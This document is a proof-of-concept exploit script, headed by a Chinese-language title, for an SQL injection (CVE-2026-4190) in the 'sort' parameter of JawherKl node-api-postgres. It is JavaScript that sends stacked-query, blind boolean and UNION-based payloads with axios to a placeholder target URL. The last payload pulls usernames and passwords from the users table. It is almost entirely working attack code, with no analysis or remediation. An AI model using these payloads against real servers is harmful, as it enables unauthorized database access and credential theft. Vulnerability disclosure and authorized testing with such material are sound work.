CVE-2026-4190 JawherKl node-api-postgres SQL注入漏洞

// CVE-2026-4190 PoC - SQL Injection in node-api-postgres User.getAll sort parameter // Target: JawherKl node-api-postgres <= 2.5 const axios = require('axios'); // Target configuration const targetUrl = 'http://target-server.com/api/users'; // Basic SQL Injection PoC - Extract database version async function basicInjection() { const maliciousSort = "1; SELECT version();--"; try { const response = await axios.get(targetUrl, { params: { sort: maliciousSort } }); console.log('Response:', response.data); } catch (error) { console.error('Error:', error.message); } } // Blind Boolean-based SQL Injection - Check if admin table exists async function blindInjection() { const trueCondition = "1' AND (SELECT COUNT(*) FROM admin) > 0--"; const falseCondition = "1' AND (SELECT COUNT(*) FROM nonexistent_table) > 0--"; try { const responseTrue = await axios.get(targetUrl, { params: { sort: trueCondition } }); console.log('True condition response:', responseTrue.data); const responseFalse = await axios.get(targetUrl, { params: { sort: falseCondition } }); console.log('False condition response:', responseFalse.data); } catch (error) { console.error('Error:', error.message); } } // Union-based SQL Injection - Extract users table data async function unionInjection() { const unionPayload = "1' UNION SELECT 1,2,3,username,password,6,7,8 FROM users--"; try { const response = await axios.get(targetUrl, { params: { sort: unionPayload } }); console.log('Extracted data:', response.data); } catch (error) { console.error('Error:', error.message); } } // Execute PoC (async () => { console.log('CVE-2026-4190 SQL Injection PoC'); console.log('Target:', targetUrl); console.log('---'); await basicInjection(); await blindInjection(); await unionInjection(); })();